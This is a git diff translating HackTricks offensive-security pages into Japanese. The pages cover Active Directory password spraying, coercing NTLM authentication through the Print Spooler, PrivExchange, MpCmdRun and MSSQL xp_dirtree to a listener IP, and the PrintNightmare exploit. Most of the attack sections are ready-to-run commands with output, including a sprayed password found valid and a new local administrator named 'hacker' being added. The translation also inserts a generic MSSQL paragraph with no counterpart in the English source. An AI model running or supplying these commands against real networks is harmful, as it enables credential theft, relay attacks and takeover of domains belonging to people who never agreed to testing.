@@ -41,57 +40,45 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` +### Linux(またはすべて)からの攻撃 -### Exploitation from Linux (or all) - -* Using **crackmapexec:** - +* **crackmapexec**を使用する: ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` - -* Using [**kerbrute**](https://github.com/ropnop/kerbrute) **** (Go) - +* [**kerbrute**](https://github.com/ropnop/kerbrute)を使用する (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` - -* [_**spray**_](https://github.com/Greenwolf/Spray) _**(you can indicate number of attempts to avoid lockouts):**_ - +* [_**スプレー**_](https://github.com/Greenwolf/Spray) _**(ロックアウトを回避するために試行回数を指定できます):**_ ```bash spray.sh -smb ``` - -* Using [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK - +* [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute)(Python)を使用する - 推奨されません。時々動作しないことがあります。 ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` - -* With the `scanner/smb/smb_login` module of **Metasploit**: +* **Metasploit**の`scanner/smb/smb_login`モジュールを使用する場合: ![](<../../.gitbook/assets/image (132) (1).png>) -* Using **rpcclient**: - +* **rpcclient**を使用する場合: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ -for u in $(cat users.txt); do - rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; +for u in $(cat users.txt); do +rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` +#### Windowsから -#### From Windows - -* With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module: - +* [Rubeus](https://github.com/Zer1t0/Rubeus)のブルートモジュールを使用しているバージョンで: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -99,40 +86,33 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` - -* With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it): - +* [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)を使用する(デフォルトでドメインからユーザーを生成し、ドメインからパスワードポリシーを取得し、それに応じて試行回数を制限します): ```powershell Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` - -* With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)**** - +* [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)を使用して ``` Invoke-SprayEmptyPassword ``` - ## Outlook Web Access -There are multiples tools for p**assword spraying outlook**. +Outlookのパスワードスプレーには複数のツールがあります。 -* With [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/) -* with [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/) -* With [Ruler](https://github.com/sensepost/ruler) (reliable!) -* With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) -* With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) - -To use any of these tools, you need a user list and a password / a small list of passwords to spray. +* [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)を使用する +* [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)を使用する +* [Ruler](https://github.com/sensepost/ruler)を使用する(信頼性が高い!) +* [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)を使用する(Powershell) +* [MailSniper](https://github.com/dafthack/MailSniper)を使用する(Powershell) +これらのツールのいずれかを使用するには、ユーザーリストとスプレーするためのパスワード/パスワードの小さなリストが必要です。 ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose - [x] Failed: larsson:Summer2020 - [x] Failed: cube0x0:Summer2020 - [x] Failed: a.admin:Summer2020 - [x] Failed: c.cube:Summer2020 - [+] Success: s.svensson:Summer2020 +[x] Failed: larsson:Summer2020 +[x] Failed: cube0x0:Summer2020 +[x] Failed: a.admin:Summer2020 +[x] Failed: c.cube:Summer2020 +[+] Success: s.svensson:Summer2020 ``` - ## Google * [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) @@ -154,10 +134,10 @@ To use any of these tools, you need a user list and a password / a small list of ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index f487baa30..8faf42c9d 100644 --- a/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -1,67 +1,57 @@ -# Force NTLM Privileged Authentication +# NTLM特権認証を強制する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
## SharpSystemTriggers -[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is a **collection** of **remote authentication triggers** coded in C# using MIDL compiler for avoiding 3rd party dependencies. +[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers)は、サードパーティの依存関係を回避するために、C#とMIDLコンパイラを使用してコーディングされた**リモート認証トリガー**の**コレクション**です。 -## Spooler Service Abuse +## スプーラーサービスの乱用 -If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.\ -Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication. +_**Print Spooler**_サービスが**有効**になっている場合、既知のAD資格情報を使用して、ドメインコントローラのプリントサーバーに新しい印刷ジョブの更新を要求し、通知を**いくつかのシステムに送信**することができます。\ +プリンタが任意のシステムに通知を送信する場合、そのシステムに**認証する必要があります**。したがって、攻撃者は_**Print Spooler**_サービスを任意のシステムに対して認証させることができ、この認証ではサービスはこのコンピュータのアカウントを**使用**します。 -### Finding Windows Servers on the domain - -Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there: +### ドメイン上のWindowsサーバーの検索 +PowerShellを使用して、Windowsボックスのリストを取得します。通常、サーバーが優先されるため、そこに焦点を当てましょう: ```bash Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt ``` +### Spoolerサービスのリスニングを見つける -### Finding Spooler services listening - -Using a slightly modified @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening: - +@mysmartlogin(Vincent Le Toux)の[SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)を若干変更して使用し、Spoolerサービスがリスニングしているかどうかを確認します。 ```bash . .\Get-SpoolStatus.ps1 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server} ``` - -You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol - +あなたはLinux上でrpcdump.pyを使用することもできます。MS-RPRNプロトコルを探してください。 ```bash rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN ``` +### 任意のホストに対してサービスに認証を要求する -### Ask the service to authenticate against an arbitrary host - -You can compile[ **SpoolSample from here**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.** - +[ここからSpoolSampleをコンパイルします](https://github.com/NotMedic/NetNTLMtoSilverTicket)。 ```bash SpoolSample.exe ``` - -or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux - +または、Linuxを使用している場合は、[**3xocyteのdementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket)または[**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)を使用します。 ```bash python dementor.py -d domain -u username -p password printerbug.py 'domain/username:password'@ ``` +### Unconstrained Delegationとの組み合わせ -### Combining with Unconstrained Delegation - -If an attacker has already compromised a computer with [Unconstrained Delegation](unconstrained-delegation.md), the attacker could **make the printer authenticate against this computer**. Due to the unconstrained delegation, the **TGT** of the **computer account of the printer** will be **saved in** the **memory** of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to **retrieve this ticket** and abuse it ([Pass the Ticket](pass-the-ticket.md)). +もし攻撃者がすでに[Unconstrained Delegation](unconstrained-delegation.md)を利用してコンピュータを侵害している場合、攻撃者は**プリンタをこのコンピュータに認証させることができます**。Unconstrained Delegationにより、**プリンタのコンピュータアカウントのTGT**はUnconstrained Delegationを持つコンピュータの**メモリに保存されます**。攻撃者はすでにこのホストを侵害しているため、このチケットを**取得して悪用**することができます([Pass the Ticket](pass-the-ticket.md))。 ## RCP Force authentication @@ -69,63 +59,57 @@ If an attacker has already compromised a computer with [Unconstrained Delegation ## PrivExchange -The `PrivExchange` attack results from a flaw in the Exchange Server `PushSubscription` feature, which allows **any domain user with a mailbox to force the Exchange server to authenticate** to any host provided by the client over HTTP. +`PrivExchange`攻撃は、Exchange Serverの`PushSubscription`機能の欠陥に起因します。この欠陥により、メールボックスを持つ**任意のドメインユーザがExchangeサーバを強制的に認証させる**ことができます。認証はクライアントが提供する任意のホストを介してHTTP経由で行われます。 -The Exchange service runs as **SYSTEM** and is **over-privileged** by default (i.e., has WriteDacl privileges on the domain pre-2019 Cumulative Update). This flaw can be leveraged to r**elay to LDAP and dump the domain NTDS database**. If we cannot relay to LDAP, this can be leveraged to relay and authenticate to **other hosts** within the domain. This attack will take you directly to Domain Admin with any authenticated domain user account. +Exchangeサービスは**SYSTEM**として実行され、デフォルトで**特権が与えられています**(つまり、2019年以前の累積更新プログラムではドメインのWriteDacl特権を持っています)。この欠陥を利用して、LDAPにリレーしドメインのNTDSデータベースをダンプすることができます。LDAPにリレーできない場合でも、ドメイン内の**他のホスト**にリレーして認証することができます。この攻撃により、認証されたドメインユーザアカウントを使用して直接ドメイン管理者になることができます。 -****[**This technique was copied from here.**](https://academy.hackthebox.com/module/143/section/1276)**** +****[**この技術はここからコピーされました。**](https://academy.hackthebox.com/module/143/section/1276)**** -## Inside Windows +## Windows内部 -If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with: +Windowsマシン内にすでにアクセスしている場合、特権アカウントを使用してWindowsをサーバに接続させることができます。 ### Defender MpCmdRun - ```bash C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\\file.txt ``` - ### MSSQL +MSSQLは、Microsoft SQL Serverの略称です。これは、Microsoftが開発したリレーショナルデータベース管理システム(RDBMS)です。MSSQLは、Windowsプラットフォーム上で広く使用されており、企業や組織でのデータ管理に使用されています。MSSQLは、データの格納、クエリの実行、データのバックアップと復元など、さまざまなデータベース関連のタスクをサポートしています。MSSQLは、セキュリティ機能や高可用性オプションなど、さまざまな機能を提供しています。 ```sql EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1 ``` +または、この別のテクニックを使用することもできます:[https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) -Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) +## HTMLインジェクション -## HTML injection - -### Via email - -If you know the **email address** of the user that logs inside a machine you want to compromise, you could just send him an **email with a 1x1 image** such as +### メール経由 +侵害したいマシンにログインするユーザーの**メールアドレス**を知っている場合、単に1x1の画像を含む**メールを送信**することができます。 ```html ``` - -and when he opens it, he will try to authenticate. +そして彼がそれを開くと、彼は認証を試みるでしょう。 ### MitM -If you can perform a MitM attack to a computer and inject HTML in a page he will visualize you could try injecting an image like the following in the page: - +コンピュータに対してMitM攻撃を実行し、彼が視覚化する可能性のあるページにHTMLを注入できる場合、次のような画像をページに注入してみることができます: ```html ``` +## NTLMv1のクラック -## Cracking NTLMv1 - -If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/#ntlmv1-attack).\ -_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_ +[NTLMv1のチャレンジをキャプチャする方法](../ntlm/#ntlmv1-attack)を読んで、それらをクラックする方法を確認してください。\ +_NTLMv1をクラックするには、Responderのチャレンジを「1122334455667788」に設定する必要があることを忘れないでください。_
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/printnightmare.md b/windows-hardening/active-directory-methodology/printnightmare.md index a7731b409..b4c10a534 100644 --- a/windows-hardening/active-directory-methodology/printnightmare.md +++ b/windows-hardening/active-directory-methodology/printnightmare.md @@ -4,46 +4,43 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** -**This page was copied from** [**https://academy.hackthebox.com/module/67/section/627**](https://academy.hackthebox.com/module/67/section/627)**** +**このページは**[**https://academy.hackthebox.com/module/67/section/627**](https://academy.hackthebox.com/module/67/section/627)**からコピーされました。** -`CVE-2021-1675/CVE-2021-34527 PrintNightmare` is a flaw in [RpcAddPrinterDriver](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-rprn/f23a7519-1c77-4069-9ace-a6d8eae47c22) which is used to allow for remote printing and driver installation. \ -This function is intended to give **users with the Windows privilege `SeLoadDriverPrivilege`** the ability to **add drivers** to a remote Print Spooler. This right is typically reserved for users in the built-in Administrators group and Print Operators who may have a legitimate need to install a printer driver on an end user's machine remotely. +`CVE-2021-1675/CVE-2021-34527 PrintNightmare`は、リモート印刷とドライバのインストールを許可するために使用される[RpcAddPrinterDriver](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-rprn/f23a7519-1c77-4069-9ace-a6d8eae47c22)の欠陥です。\ +この機能は、通常、組み込みの管理者グループおよびプリントオペレーターのユーザーがエンドユーザーのマシンにリモートでプリンタードライバをインストールする必要がある場合に予約されている、Windows特権`SeLoadDriverPrivilege`を持つユーザーにドライバを追加する機能を提供することを意図しています。 -The flaw allowed **any authenticated user to add a print driver** to a Windows system without having the privilege mentioned above, allowing an attacker full remote **code execution as SYSTEM** on any affected system. The flaw **affects every supported version of Windows**, and being that the **Print Spooler** runs by default on **Domain Controllers**, Windows 7 and 10, and is often enabled on Windows servers, this presents a massive attack surface, hence "nightmare." +この欠陥により、**認証済みのユーザーは特権を持たなくても印刷ドライバを追加**できるようになり、影響を受けるシステムのいずれにおいても、攻撃者はシステム全体で**SYSTEMとしてリモートでコードを実行**することができます。この欠陥は、**サポートされているWindowsのすべてのバージョンに影響**を与えます。また、**Print Spooler**はデフォルトで**ドメインコントローラ**、Windows 7および10で実行され、Windowsサーバーでもよく有効にされているため、これは大規模な攻撃対象となります。そのため、「ナイトメア」と呼ばれています。 -Microsoft initially released a patch that did not fix the issue (and early guidance was to disable the Spooler service, which is not practical for many organizations) but released a second [patch](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) in July of 2021 along with guidance to check that specific registry settings are either set to `0` or not defined. +Microsoftは最初に問題を修正しないパッチをリリースしました(早期のガイダンスではSpoolerサービスを無効にすることが推奨されていましたが、多くの組織には実用的ではありません)。しかし、2021年7月に[パッチ](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527)と、特定のレジストリ設定が`0`に設定されているか未定義であることを確認するためのガイダンスをリリースしました。 -Once this vulnerability was made public, PoC exploits were released rather quickly. **** [**This**](https://github.com/cube0x0/CVE-2021-1675) **version** by [@cube0x0](https://twitter.com/cube0x0) can be used to **execute a malicious DLL** remotely or locally using a modified version of Impacket. The repo also contains a **C# implementation**.\ -This **** [**PowerShell implementation**](https://github.com/calebstewart/CVE-2021-1675) **** can be used for quick local privilege escalation. By **default**, this script **adds a new local admin user**, but we can also supply a custom DLL to obtain a reverse shell or similar if adding a local admin user is not in scope. +この脆弱性が公開されると、PoCのエクスプロイトが比較的迅速にリリースされました。[@cube0x0](https://twitter.com/cube0x0)による[**このバージョン**](https://github.com/cube0x0/CVE-2021-1675)は、修正されたImpacketの変更バージョンを使用して、リモートまたはローカルで悪意のあるDLLを実行するために使用できます。このリポジトリには、**C#の実装**も含まれています。\ +この[**PowerShellの実装**](https://github.com/calebstewart/CVE-2021-1675)は、クイックなローカル特権昇格に使用できます。デフォルトでは、このスクリプトは新しいローカル管理者ユーザーを追加しますが、ローカル管理者ユーザーの追加がスコープ外の場合は、逆シェルなどを取得するためにカスタムDLLを指定することもできます。 -### **Checking for Spooler Service** - -We can quickly check if the Spooler service is running with the following command. If it is not running, we will receive a "path does not exist" error. +### **Spoolerサービスの確認** +次のコマンドを使用して、Spoolerサービスが実行されているかどうかを簡単に確認できます。実行されていない場合、"パスが存在しません"というエラーが表示されます。 ``` PS C:\htb> ls \\localhost\pipe\spoolss - Directory: \\localhost\pipe +Directory: \\localhost\pipe Mode LastWriteTime Length Name ---- ------------- ------ ---- - spoolss +spoolss ``` +### **PrintNightmare PowerShell PoCを使用してローカル管理者を追加する** -### **Adding Local Admin with PrintNightmare PowerShell PoC** - -First start by [bypassing](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/) the execution policy on the target host: - +まず、ターゲットホストで実行ポリシーを[バイパス](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/)します。 ``` PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process @@ -53,9 +50,7 @@ you to the security risks described in the about_Execution_Policies help topic a https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy? [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A ``` - -Now we can import the PowerShell script and use it to add a new local admin user. - +今、PowerShellスクリプトをインポートして、新しいローカル管理者ユーザーを追加することができます。 ```powershell PS C:\htb> Import-Module .\CVE-2021-1675.ps1 PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt" @@ -66,18 +61,16 @@ d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll" [+] added user hacker as local administrator [+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll ``` +### **新しい管理者ユーザーの確認** -### **Confirming New Admin User** - -If all went to plan, we will have a new local admin user under our control. Adding a user is "noisy," We would not want to do this on an engagement where stealth is a consideration. Furthermore, we would want to check with our client to ensure account creation is in scope for the assessment. - +計画通りに進んだ場合、私たちはコントロール下に新しいローカル管理者ユーザーを持っているはずです。ユーザーの追加は「騒々しい」ですので、ステルスが考慮される評価ではこれを行うことは望ましくありません。さらに、アカウントの作成が評価の範囲内にあることをクライアントと確認する必要があります。 ``` PS C:\htb> net user hacker User name hacker Full Name hacker -Comment -User's comment +Comment +User's comment Country/region code 000 (System Default) Account active Yes Account expires Never @@ -89,26 +82,25 @@ Password required Yes User may change password Yes Workstations allowed All -Logon script -User profile -Home directory +Logon script +User profile +Home directory Last logon Never Logon hours allowed All -Local Group Memberships *Administrators -Global Group memberships *None +Local Group Memberships *Administrators +Global Group memberships *None The command completed successfully. ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? 